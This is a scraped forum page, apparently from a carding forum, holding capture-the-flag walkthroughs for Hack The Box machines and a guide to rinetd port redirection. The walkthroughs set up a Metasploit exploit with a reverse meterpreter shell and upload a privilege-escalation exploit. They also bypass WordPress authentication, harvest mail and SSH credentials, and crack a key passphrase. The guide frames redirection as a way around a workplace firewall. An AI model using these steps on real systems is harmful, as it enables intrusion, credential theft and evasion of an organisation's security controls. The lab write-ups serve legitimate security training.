msf exploit(windows/http/rejetto_hfs_exec) >set srvhost 10.10.14.6
msf exploit(windows/http/rejetto_hfs_exec) >exploit
1
2
3
4
5
6
use exploit/windows/http/rejetto_hfs_exec
msf exploit(windows/http/rejetto_hfs_exec) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/http/rejetto_hfs_exec) >set rhost 10.10.10.8
msf exploit(windows/http/rejetto_hfs_exec) >set lhost 10.10.14.6
msf exploit(windows/http/rejetto_hfs_exec) >set srvhost 10.10.14.6
msf exploit(windows/http/rejetto_hfs_exec) >exploit
And when it works perfectly, you will get a meterpreter session 1 as shown below and by running the sysinfo command you will know about the victim’s system information.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-vFFKzhlpbr4/WtS7B-e6JvI/AAAAAAAAWXI/1CJStLWTxw4zz0Fzo5s4bLGBaa-QyP-KACLcBGAs/s1600/2.png?w=687&ssl=1)
Now let’s complete this task by searching user.txt and root.txt flag which is hidden somewhere inside its directories.
Inside c:\Document and Setting \kostas\Desktop I found the user.txt file and used the cat command to read this file.
cat user.txt.txt
Great!! We got our 1st flag successfully.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-cLWoWZCXymk/WtS7CutgTyI/AAAAAAAAWXM/JQzTt1xV3xQJgZt1ACDhc6gZ3NnxBtwxQCLcBGAs/s1600/3.png?w=687&ssl=1)
To get root flag I really struggle a lot, all privilege escalation exploit suggested by recon/local_exploit_suggester did not work when I tried them. Then I took help from Google and searched for exploit related to windows server and found many exploits, “MS16-098 exploit 41020” was among them. I simply downloaded this .exe file and applied manual privilege escalation.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-NJWuFtQ4XUo/WtS7_f7MvLI/AAAAAAAAWXw/61WVNaP18xwGVm5rnAXb95xdRkeadBKlQCLcBGAs/s1600/4.png?w=687&ssl=1)
After downloading the exe file from Google, I transferred it to target’s machine via meterpreter session; with help of following commands:
meterpreter> upload /root/Desktop/41020.exe .
meterpreter> shell
1
2
meterpreter> upload /root/Desktop/41020.exe .
meterpreter> shell
Then after executing the whoami command, it assured me “nt authority\system”
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-nQPUPzGIy0I/WtS7DD_u-PI/AAAAAAAAWXU/eJoShFeya7Y83ujs6HQz-d9qDKtXhYUWwCLcBGAs/s1600/6.png?w=687&ssl=1)
Inside c:\Document and Setting \Administrator\Desktop I found the root.txt file and used the type command to read the file.
type root.txt
1
type root.txt
Great!! We got our 2nd flag successfully
And this way, we successfully solved our challenge. YAY!
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-evWwwdCZPAg/WtS7Dvzo3-I/AAAAAAAAWXY/LyUpfobnPZ8VX4xpF3S_o4QT-nOP8QQowCLcBGAs/s1600/7.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Brainfuck” which is retired vulnerable lab presented by Hack the Box for making online penetration testing practices according to your experience level. Although in this challenge you can test your expertise by WordPress penetration testing and how much knowledge you have in cryptography by decrypting any encryption that you will get in this lab.
Level: Hard
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.17 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.17
1
nmap -A 10.10.10.17
From given below image, you can observe that we have found so many ports which are open such as 22,25 and so on in victim’s network and moreover I got three domain names as highlighted in below image.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-VluDQUt2BAQ/WtHOwiOSIQI/AAAAAAAAWSE/6CM7LN-XsEUr-CDbj2Xcs3NElhVBW82XACLcBGAs/s1600/1.png?w=687&ssl=1)
Now the next option was to add target IP inside /etc/host file since port 443 was open containing three domain names obtained from scanning result; thus I edit sup3rs3cr3t.brainfuck.htb [To see content please register here] brainfuck.htb as hostname.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-bMpte6Js9F4/WtHOz_npUqI/AAAAAAAAWSo/WlcqTMqauB4sWKyTdunTSGAuti_uSVN1gCLcBGAs/s1600/2.png?w=687&ssl=1)
Then I explored all three domain names one by one in the web browser but when I explored [To see content please register here] found following webpage page which was indicating that it is a WordPress site and pointing toward SMTP mail Id [email protected] as highlighted in below image.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-rrIeugNYSyQ/WtHO3rL2drI/AAAAAAAAWTU/AEBlGzS5chgz1DDzR5u-dGKYj_oLsJuiwCLcBGAs/s1600/3.png?w=687&ssl=1)
Now we decided to use wpscan on the target URL, that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins, username and etc.
wpscan -u [To see content please register here] --disable-tls-checks --enumerate p --enumerate t --enumerate u
1
wpscan -u [To see content please register here] --disable-tls-checks --enumerate p --enumerate t --enumerate u
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZdWi5hA0c0w/WtHO5BxtxzI/AAAAAAAAWTo/sIICo_T0VZY2bVf9iLGuwRCVAlH0QGrSACLcBGAs/s1600/5.png?w=687&ssl=1)
From the wpscan result, I grabbed the vulnerability in WordPress plug-in “support plus responsive ticket system” for Remote code execution as highlighted below.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-3Maz3qMWN2U/WtHO5aShE2I/AAAAAAAAWTs/3zWWwiWoE30Efb5GCsAwU_IN5kMPXNa-wCLcBGAs/s1600/6.png?w=687&ssl=1)
Moreover, it dumped two login usernames “admin & administrator”
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-xwuGeRh8f3Q/WtHO5s1EXkI/AAAAAAAAWT0/rtiqCqm1Lcs27EZpHlfpRQQ_1vYXLjtqgCLcBGAs/s1600/7.png?w=687&ssl=1)
With the help of Google, I search associated exploit for compromising victim’s credential and found exploit 41006 as shown below.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-BkVOiCGViUM/WtHO5ul-mYI/AAAAAAAAWTw/HAzZaqO-83c0BwbEyTn-YphTYDzyYoHXACLcBGAs/s1600/8.png?w=687&ssl=1)
Inside this, I saw HTML form code for remote code execution, now copy it and paste it into a text document.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-djqOLKXnJYQ/WtHO6KDPIoI/AAAAAAAAWT4/zRwwttoTgPkKofpmc48KZ0-E2g8WmZLGgCLcBGAs/s1600/9.png?w=687&ssl=1)
Here please notice the changes I had made by adding “value: admin as username and orestis@brainfuck as email and target URL in action https://brainfuck” and saved it as wp.html on the desktop.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-RxxkKdHCXEI/WtHOwlEw11I/AAAAAAAAWSA/gs-PItsSjL0y9Zo7vQJ-6B9duKkeYoaFwCLcBGAs/s1600/10.png?w=687&ssl=1)
Then I run Python script for file transfer via port 80.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-MYOY5qhQaiM/WtHOweawDqI/AAAAAAAAWR8/XCTPJB1UiiU8ueBwpzVUN_aPRdDWsOO5wCLcBGAs/s1600/11.png?w=687&ssl=1)
Then explore the wp.html file in localhost server as shown below and click on the login tab.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-vX2bFlYmGQM/WtHOxqNM6lI/AAAAAAAAWSI/AOpEPYLw7uo_tIMG2LEV_E3iSEPewgRqQCLcBGAs/s1600/12.png?w=687&ssl=1)
By doing so you can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie(). Then you can go to the admin panel by visiting https://brainfuck once again.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-g2wqCRxdIj0/WtHOx9GeGbI/AAAAAAAAWSM/DBcFlxI6hIcnUzmAhOtAPpBvzdEL6_7_gCLcBGAs/s1600/13.png?w=687&ssl=1)
You will get admin panel of WordPress and start penetrating it for getting a clue.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-YKjcB2aTAQ8/WtHOx4FywwI/AAAAAAAAWSQ/kONGgw5yIdAP7qQg-ElCD7C0fiNRccTfACLcBGAs/s1600/14.png?w=687&ssl=1)
Inside the admin dashboard, I looked at the plugin for the further step where I found SMTP plug-in.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-oB_NKVDCQQk/WtHOykj8arI/AAAAAAAAWSU/GOF_ZRM8qaggPEzCEBaHtuqmRrOiHXyzQCLcBGAs/s1600/15.png?w=687&ssl=1)
It was a terrific moment when I saw user authentication login are filled in the text field. So I read username “orestis” but the password was in bold character, which I need to convert in plain text using inspect element.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-754NgowJhY0/WtHOy43L1vI/AAAAAAAAWSY/dWZUiuNembYUqV09u2yRNyxlVoa-GklKwCLcBGAs/s1600/16.png?w=687&ssl=1)
Wonderful!! Here is orestis plain text password value as shown below in highlighted text, let’s use them for SMTP login.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-eUOYY1YnIrU/WtHQfgGIuRI/AAAAAAAAWU8/EhCgCRuKVwI-j8BmzK9oZP3bkhc2jdARgCEwYBhgL/s1600/17.png?w=687&ssl=1)
Through telnet command: telnet 10.10.10.17 110 we established a connection with the SMTP server and login into orestis account, now for reading orestis inbox messages I retr 1 command but didn’t get any useful message and move to another message by running retr 2.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-qvUdEet3ht8/WtHQf3BFisI/AAAAAAAAWVA/ujwjxeaotH0uDMKM38E_2cQCRcO_QY6OQCEwYBhgL/s1600/18.png?w=687&ssl=1)
Here I found something very crucial that there is username and password for any “Secret” forum for login and after a very deep thought; I realized this credential could be connected to sup3rs3cr3t.brainfuck.htb which I had explored in web browser.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-WIdPxfGOqHo/WtHQgAYWHnI/AAAAAAAAWVE/KmlOOv8Jq_8BVgm8d48mmt6h0wfLx8v1ACEwYBhgL/s1600/19.png?w=687&ssl=1)
Again I explore https:\\sup3rs3cr3t.brainfuck.htb then submit above found credentials and got successful login.
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-K1qjP9mrVdM/WtHQgXxBKRI/AAAAAAAAWVM/1vF0rcPljLM-7qn93V7mGahSaML9g9_pgCEwYBhgL/s1600/20.png?w=687&ssl=1)
It showing super-secret forum which is pointing towards any secret discussion chat inside “Key” and “SSH Access”
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-DtsBBj7ZQOM/WtHQgzRg_LI/AAAAAAAAWVQ/woknlXnlEmoEsXo4D7SExtyj0OX6dMNMgCEwYBhgL/s1600/21.png?w=687&ssl=1)
Inside “Key” I notice chatting between admin and orestis which was going beyond my sense. Might be orestis and admin are sharing some confidential information in this secret chat but in the last reply of admin, it looked like he is secretly sharing any encrypted URL.
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-eP0uu1wZYlI/WtHQhDtdk0I/AAAAAAAAWVU/IDAi9kXpf1Ymukvim_cP8QcJZfjzK9yPQCEwYBhgL/s1600/22.png?w=687&ssl=1)
Then I open “ssh access” Ahhhh!!! It was an English conversation where the admin is giving suggestion to use Key for login instead of a simple password. And by reading all conversation I concluded that orestis has lost SSH login key and asking an admin to send the key in an encrypted chat that we saw above “Key” (secret discussion).
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-V67MVDq7Hy4/WtHQhGb7Z4I/AAAAAAAAWVY/AT_bCASXrxY3UaiX4NKQkz_SqqcfCsHfACEwYBhgL/s1600/23.png?w=687&ssl=1)
Time to decrypt their conversation for getting ssh login key but we don’t know from where to start. After spending so much time and efforts at last I successfully decrypted and found ssh login key.
Now your question is- How it became possible?
And my answer is: observe the given below step carefully:
From both chats “Key” and “ssh access” I copied the following text into a text file respectively and removed the space provided between the word as shown in below.
Pieagnm - Jkoijeg nbw zwx mle grwsnn (message in cipher text)
Orestis - Hacking for fun and profit (decrypt key in plain text)
1
2
Pieagnm - Jkoijeg nbw zwx mle grwsnn (message in cipher text)
Orestis - Hacking for fun and profit (decrypt key in plain text)
Considering ciphertext is encrypted information and plaintext as decrypting key.
![[Image: 24.1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Fep-15R8Jp4/WtHQhSDLLbI/AAAAAAAAWVc/-CLuByWnhjAj8rRZybHRS15I5IZZP9t5ACEwYBhgL/s1600/24.1.png?w=687&ssl=1)
With the help of online decipher I had pasted above ciphertext inside encipher textbox and decryption key inside decipher textbox and received decipher message “BrainfuCkmybrainfuckmybrainfu”
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Qomi6gyBYXk/WtHQhtbd58I/AAAAAAAAWVg/7uDqcFzCOmsBDSPhx3gN9bJom2MG17-KgCEwYBhgL/s1600/24.png?w=687&ssl=1)
If you remember we had obtained encrypted URL from inside “Key” discussion, go for its decryption using above decipher message “fuckmybrain” as decrypting key. It took much time to identify proper encryption algorithm used for encrypting URL and we have successfully decrypted it with the help of Vigerner cipher. It gave a plaintext URL for downloading id_rsa for ssh login as orestis.
From the given below image, you can observe that I have added encrypted URL in the encrypted text field and used “fuckmybrain” as a decrypting key and obtain Plain text URL.
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-rI14Y8qhq4c/WtHQhqL1FuI/AAAAAAAAWVk/H0qZcthPlFUXPHlSc4hFWSG6CELN_eFjwCEwYBhgL/s1600/25.png?w=687&ssl=1)
After downloading id_rsa when I tried to open this file, then found that it required a password to view its content.
![[Image: 26.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-dMP3c952jUM/WtHQhyMevEI/AAAAAAAAWVo/VJzpqR1t9docaKNQYdk5JDO6K0AXiyjfgCEwYBhgL/s1600/26.png?w=687&ssl=1)
Formerly I downloaded a python script from [To see content please register here] for cracking the password of this file. Then I ran following command and got desired output.
python sshng2john.py id_rsa > ssh_login
1
python sshng2john.py id_rsa > ssh_login
Then we used John the ripper for cracking this ssh_login file.
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
1
john ssh_login --wordlist=/usr/share/wordlists/rockyou.txt
“3poulakia!” we got a result from executing the above command.
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-tPHIsg6w2lA/WtHQiIYhcfI/AAAAAAAAWVs/wJTuuedVXdQYSqUzIM89F4NnOcIntAA4ACEwYBhgL/s1600/27.png?w=687&ssl=1)
And without wasting time; I executed the following command for login into SSH using 3poulakia! as password.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
Great!! I logged in successfully, now let’s finish the task by grabbing user.txt and root.txt file. First I have checked for available files in the current directory which are inside it. Good to see user.txt in the present location and then I open it using cat.
cat user.txt
Apart from user.txt, I found three more files in this directory and when I opened these file I got the hint for Root Flag! Now follow the below steps if you are also looking for root flag.
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-2WnsR1eSfdU/WtHQic1Z0nI/AAAAAAAAWVw/HiAx32WUiRw08VesAuJRE5Sp_a2b84-KACEwYBhgL/s1600/28.png?w=687&ssl=1)
When I read the content of encrypt.sage, it was pointing towards encrypted password within debug.txt and output.txt
![[Image: 30.1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-wvU9WrDv3Nc/WtHQiwpufWI/AAAAAAAAWV4/IzouHgwCkgUVdG4fNpjcCLvdqx_8VIOxQCEwYBhgL/s1600/30.1.png?w=687&ssl=1)
When I open debug.txt and output.txt, here I saw encrypted information then again I chased towards Google for any help in such type of encryption and luckily found a decrypting script from this link: [To see content please register here] and after that copied entire script into a text file for decryption.
![[Image: 30.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-9wq3yGbGHCw/WtHQi8P3HZI/AAAAAAAAWV8/MGMLWjhhMUM7Pim8phkp1r8tMUCaWcUIwCEwYBhgL/s1600/30.png?w=687&ssl=1)
As described in crypto150 algorithm I placed 1st, 2nd & 3rd line of debug.txt equal to p, q, e respectively. Ct is equal to the content of output.txt as shown below and saved it as decrypt.py
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-KwGh9wybsls/WtHQjGHcY2I/AAAAAAAAWWA/47J8vAvS_JIJBko3McpOHU6b3NrYznP8wCEwYBhgL/s1600/31.png?w=687&ssl=1)
Then run our decrypt.py through python and capture the root flag!!
python decrypt.py
1
python decrypt.py
Huhhhhh!!!!!! Such a hectic Lab it was, but we have completed the challenge successfully.
|
|
|
|
| [Guide] Comprehensive Guide to Port Redirection using Rinetd |
|
Posted by: NINZA - 05-14-2020, 08:44 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends! Today we are going to discuss what is Port redirecting/ forwarding? We will also discuss the necessary steps to access the network traffic through firewall restricted port.
Table of Content: - What is a port redirecting?
- Why do we need port redirection?
- Requirements
- Implementing firewalls
- HTTP port redirection
What is Port redirecting?
In computer networking, port forwarding/redirecting or port mapping is an application of network address translation (NAT) that redirects a communication request from one address and port number combination to another while the packets are traversing a network gateway, such as a router or firewall. This technique is most commonly used to make services on a host residing on a protected or masqueraded (internal) network available to hosts on the opposite side of the gateway (external network), by remapping the destination IP address and port number of the communication to an internal host. (From Wikipedia)
Why we need port redirection?
Suppose you are in your workplace where network admin has blocked all 65,535 ports in the network except port 80 and 443 for outgoing traffic. Now you want to access any service which is running on a different port other than 80 and 443 but you are not allowed to send request packet on that port because port 80 and 443 are open ports in your network that can access web server only.
Hence to overcome such a situation we need to apply port redirection techniques.
For example, you are in office and your IP is 192.168.1.102 and firewall has restricted outgoing traffic through all 65535 ports except port 80 and 443 which are allowed to take the request packet outside the network. Now you want to take access of remote system 192.169.1.114 which is running on port 3389 but the firewall will block your request packet on port 3389. With help of proxy server 192.168.1.125, you (192.168.1.1.102) can access RDP server 192.168.1.114 for remote connection as proxy server will forward all incoming traffic to the router and hence you will get access of port 3389.
Now let’s go through detail with its practical
Requirements- Windows operating system (Workstation machine) holding IP: 192.168.1.102
- Windows operating system (Remote server) holding IP: 192.168.1.114
- Linux operating system (proxy server) holding IP: 192.168.1.125
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-HrS95uZ7GSI/Ws90Frm9llI/AAAAAAAAWPk/YLVL2YSrGGkbxSlYdwemNzBqny_izySAQCLcBGAs/s1600/20.png?w=687&ssl=1)
From the given image you can observe that RDP server has the IP Address: 192.168.1.114
![[Image: 21.PNG?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-WCmZx7lc59s/Ws90FV75zfI/AAAAAAAAWPc/d2nd9_BIXtY6UZjteUSJEJOo9XL9T2uPgCLcBGAs/s1600/21.PNG?w=687&ssl=1)
From the given image you can observe that the User system has the IP Address: 192.168.1.102 which will be bounded by firewall restriction policy.
![[Image: 23.PNG?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-hmR6IbQ3GlA/Ws90Fdbu8kI/AAAAAAAAWPg/hfqq2K2ppdwCOPfR1KGJCcTUmdmF85MSACLcBGAs/s1600/23.PNG?w=687&ssl=1)
The network configuration of Proxy server is holding IP Address: 192.168.1.125.
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-mvnbWYlgvqI/Ws90GJhduDI/AAAAAAAAWPo/T1BL6-p1w_Uo4wihw2Rgg38Q3vauCZZNACLcBGAs/s1600/24.png?w=687&ssl=1)
Implementing a Firewall on the Users System
Create a new rule in firewall outbound rules for applying the filter on outgoing traffic from your network. Enable Port option for creating a rule that controls connection for a TCP or UDP port.
![[Image: 25.PNG?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-H-nWeg44voU/Ws90Gu_FGYI/AAAAAAAAWPs/NCLDNQumcu8uk59a9iw_aB9HSV6SaHT9QCLcBGAs/s1600/25.PNG?w=687&ssl=1)
Apply rule for all TCP ports from 0-65535 as shown in the image.
![[Image: 26.PNG?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-9wx48C3Wi1M/Ws90Gx5nPhI/AAAAAAAAWPw/hN-DYXwGvZ4fg8k-50UnAoZ6jVRR6NGLQCLcBGAs/s1600/26.PNG?w=687&ssl=1)
Choose Block option as action should be taken when a connection matches a specified condition.
![[Image: 27.PNG?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-vWhwWs2i1II/Ws90HFG3onI/AAAAAAAAWP0/2f_5CLn1dbws2HWCIeGKwFce73LnzjAcgCLcBGAs/s1600/27.PNG?w=687&ssl=1)
Enable all three checkboxes to which action will be implemented.
![[Image: 28.PNG?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Sg3N0oKfceU/Ws90H0mOzkI/AAAAAAAAWP4/646j8ydOuVwgi-EsB12wrXw7bXWxZHp-gCLcBGAs/s1600/28.PNG?w=687&ssl=1)
Provide the title name to your implemented rule for your awareness.
![[Image: 29.PNG?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-4c1yXPETz0o/Ws90JfVsRLI/AAAAAAAAWQE/wsnICOWEHageXnxaoaInVxgE1EgRu0BoQCLcBGAs/s1600/29.PNG?w=687&ssl=1)
Again create another new rule in firewall outbound rules for applying a filter on outgoing traffic from your network. Enable Port option for creating a rule that controls connection for a TCP and does mention port 80,443 this time.
![[Image: 30.PNG?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-AUK9QZlUbdc/Ws90H8tJLJI/AAAAAAAAWP8/LH6w1uTrpGgkySbEDlxvGl-YUaQLdQwSwCLcBGAs/s1600/30.PNG?w=687&ssl=1)
And this is phase changer step, enable “Allow the connection option” for all network i.e. domain, private and public. Give a suitable title to rule name for your awareness.
Conclusion: Now being a network admin we have applied firewall rule to block outgoing traffic from port 0 to 65,535 but simultaneously allowed port 80 and 443 to take out traffic from our network to any web servers.
![[Image: 31.PNG?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-aYLRat9GRr4/Ws90JaFbk4I/AAAAAAAAWQA/jijGylRoXuIhrDkBkJu71hWzlsKNywc1wCLcBGAs/s1600/31.PNG?w=687&ssl=1)
Situation: In a workstation, any employee working in the restricted network requires to connect with the remote system: 192.168.1.14 via port 3389 but get failed due to firewall then how he can access port 3389 without turn off firewall in that network?
![[Image: 32.PNG?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-U_rrTV8Zqws/Ws90JagvRHI/AAAAAAAAWQI/mC2k1eaNhXkJwMa8Dm1fn3ltBADuEfOgQCLcBGAs/s1600/32.PNG?w=687&ssl=1)
Solution: Port forwarding with proxy server using rinetd — internet
Code: The contents of this section are hidden for your group
Register or Login
redirection server”.
Rinetd redirects TCP connections from one IP address and port to another. It is a single-process server which handles any number of connections to the address/port pairs specified in the file /etc/rinetd.conf. Since rinetd runs as a single process using non-blocking I/O, it is able to redirect a large number of connections without a severe impact on the machine. This makes it practical to run TCP services on machines inside an IP masquerading firewall.
For more details visit this link: [To see content please register here]
By means of above theory we need to install Rinetd in a system which is free from firewall restriction, hence it can be any system that is not a client, a machine of your workstation. For example, you can use your home PC/laptop for installing rinetd.
Similarly, I have installed rinetd with help apt repository in my Home PC [192.168.1.125] operates the at Linux platform that will act as a proxy server.
apt-get install rinetd
1
apt-get install rinetd
![[Image: 33.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kD8sdEjVkEs/Ws90KWjTMrI/AAAAAAAAWQM/C08ZrBsRDIAwfgjyP0intrivTVPLQAu0ACLcBGAs/s1600/33.png?w=687&ssl=1)
After installing rinetd, open its configuration file from /etc/rinetd.config for configuring it as per your requirement.
![[Image: 34.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-rSZiclEAhc8/Ws90KeaTfFI/AAAAAAAAWQQ/oeKlTVrXg8kdlokRkAzTKmnPYwl82QUZQCLcBGAs/s1600/34.png?w=687&ssl=1)
Here we need to enter following details for port redirection.- Bind address: Proxy server IP: 192.168.1.125 (Home PC)
- Bind port: 80
- Connect address: RDP server IP: 192.168.1.114
- Connect port: 3389
![[Image: 35.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-UtP3O8hbHfk/Ws90KSTX-xI/AAAAAAAAWQU/77Z2cKw2Tv0wis_9jXVNhBTWRT7qToJoACLcBGAs/s1600/35.png?w=687&ssl=1)
Then save the file and restart the service with help of below command.
service rinetd restart
1
service rinetd restart
![[Image: 36.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-rzWRUKjsrCE/Ws90LGV3cfI/AAAAAAAAWQY/Hk6FOpghTKcZm9w1IuJGjs6rHw9caIXQACLcBGAs/s1600/36.png?w=687&ssl=1)
To establish a remote connection with RDP server 192.168.1.114 you need to send request packets for remote connection to the Proxy server (192.168.1.125) on port 80 which will forward incoming traffic for the connection request to port 3389 of actual destination machine through the router.
![[Image: 37.PNG?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-SBpB8kI_fxs/Ws90LwxVBLI/AAAAAAAAWQc/3GvYWzhlr8Y49hyMW453QS8qNM7Or-zwQCLcBGAs/s1600/37.PNG?w=687&ssl=1)
Enjoy!! The desktop of the RDP server in your firewall congested network.
![[Image: 38.PNG?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ov5sSytOeXQ/Ws90NQIkVEI/AAAAAAAAWQo/6zOwCuaDEEIi6RYAv8AXX-kKwWwM_pPTwCLcBGAs/s1600/38.PNG?w=687&ssl=1)
HTTP Port Redirection
Example 2nd: In Office, my system is bound under firewall rules as configured above which will block outgoing traffic on every TCP port other than 80 and 443 but I wanted to access a web server which is running on port 8080 for security perspective reasons. Why should I do? The answer is Port redirection with proxy server using rinetd.
Let’s figure out how?
Requirement- Linux operating system (Workstation machine) holding IP: 192.168.1.128
- Ubuntu operating system (web server) holding IP: 192.168.1.110
- Linux operating system (proxy server) holding IP: 192.168.1.132
![[Image: 39.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-PdyzJCEwHs0/Ws90MiQ950I/AAAAAAAAWQg/GOo2Y5a_i1UME5xysXZ-HQTwvrhnOcDMACLcBGAs/s1600/39.png?w=687&ssl=1)
the network configuration of the user’s workstation system holding IP: 192.168.1.128.
![[Image: 40.PNG?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-zXBgFCl2Yok/Ws90M6ZLW-I/AAAAAAAAWQk/EQLNM8w_m1QvruJVLdZPwC0b2n1BA94SwCLcBGAs/s1600/40.PNG?w=687&ssl=1)
Implement firewall rule using the IP table for blocking all outgoing TCP packets and allow port 80 and 443 for sending network traffic.
iptables -I OUTPUT -j DROP
iptables -I OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -I OUTPUT -p tcp --dport 443 -j ACCEPT
1
2
3
iptables -I OUTPUT -j DROP
iptables -I OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -I OUTPUT -p tcp --dport 443 -j ACCEPT
![[Image: 41.1.PNG?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/--iTz9LoP8Yw/Ws90Nm2gJ1I/AAAAAAAAWQs/45FBQzoLN_wi-hhCjvb-dbIdfpLD-DSjwCLcBGAs/s1600/41.1.PNG?w=687&ssl=1)
The network configuration of proxy server system holding IP: 192.168.1.132.
![[Image: 41.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-fu_ChOHiwoA/Ws90N_JIQXI/AAAAAAAAWQw/NOszwjsVRbMfr3lTOKgjdQny7KzHNOqhACLcBGAs/s1600/41.png?w=687&ssl=1)
The network configuration of web server holding IP: 192.168.1.110.
![[Image: 42.PNG?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-yZQfkjceHvg/Ws90OcNEyuI/AAAAAAAAWQ0/yszK83bkUrExLyyi1AajUPyHu7rPRdo-wCLcBGAs/s1600/42.PNG?w=687&ssl=1)
Here for security reason, we are editing listen port from 80 to 8080 and to do so open ports.conf file from inside /etc/apache and make desirable changes.
![[Image: 43.PNG?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-K3uP_-yztTk/Ws90Pap3dgI/AAAAAAAAWQ8/e5Nk86T_pk8oMdxwdjY4Cz69Po4RTKWtACLcBGAs/s1600/43.PNG?w=687&ssl=1)
As you can see we have transfer web server Apache service on port 8080.
![[Image: 44.PNG?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-P_NpAe_5G9w/Ws90PK5gUII/AAAAAAAAWQ4/R3OHKj-C3Cw3DaPAKCuH-zMImwoFkSTwgCLcBGAs/s1600/44.PNG?w=687&ssl=1)
Then save the file and restart the service with help of below command.
service apache2 restart
1
service apache2 restart
![[Image: 45.PNG?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Hezw_xAzYAs/Ws90PTv-3HI/AAAAAAAAWRA/Zjfxibvn1l0NBWUnb2rm4xeIGxEm-83JACLcBGAs/s1600/45.PNG?w=687&ssl=1)
Now I have installed rinetd with help apt-get command in my Home System(192.168.1.132) operates at Linux platform.
apt-get install rinetd
1
apt-get install rinetd
